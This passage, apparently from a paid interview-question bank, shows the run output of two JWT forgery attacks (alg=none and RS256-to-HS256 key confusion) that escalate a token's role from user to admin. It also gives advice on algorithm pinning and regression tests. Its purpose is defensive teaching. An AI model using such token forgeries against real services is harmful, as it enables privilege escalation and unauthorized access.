claims = verify_fixed(legit_token, pub_pem)
print("FIXED verifier accepted the real token. Claims:", claims)
Running both attacks against the vulnerable dispatcher and the fixed, algorithm-pinned verifier:
legit RS256 token (truncated): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ ...
--- Attack 1: alg=none ---
VULNERABLE verifier accepted forged token. Claims: {'sub': 'user-42', 'role': 'admin'}
FIXED verifier correctly rejected alg=none forgery: InvalidAlgorithmError
--- Attack 2: RS256->HS256 confusion ---
VULNERABLE verifier accepted forged token. Claims: {'sub': 'user-42', 'role': 'admin'}
FIXED verifier correctly rejected HS256-confusion forgery: InvalidAlgorithmError
--- Control: legitimate token against FIXED verifier ---
FIXED verifier accepted the real token. Claims: {'sub': 'user-42', 'role': 'user'}
Both forged tokens escalate role from user to admin and are accepted by the vulnerable dispatcher; both are rejected by the fixed verifier, which still correctly accepts the legitimate RS256 token.
Trade-offs and pitfalls
Modern JWT libraries (PyJWT 2.x among them) now refuse to let an application pass an asymmetric key into an HMAC code path, which closes attack 2 at the library level when the library's own high-level decode function is used correctly. Relying on that library default is not a substitute for an explicit algorithms=[...] allow-list at your own call site, though, since an older library version, a different language's library, or hand-rolled JOSE parsing (as shown in the vulnerable dispatcher above) will not have that guard. A common pitfall when "fixing" this: adding none to a denylist while still trusting the header for every other algorithm choice leaves attack 2's whole class of confusion open, any two algorithm types that structurally reuse the same key material remain exploitable; pin the expected algorithm explicitly rather than denylisting only the one attack already known about. CI regression tests for this class of bug age poorly if they only assert that alg=none is rejected and are never re-run after a library upgrade or a refactor of the verification call site; keep both forgery attempts as permanent, named regression tests.
Unlock Full Question Bank
Get access to all 10 Cryptographic Implementation Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.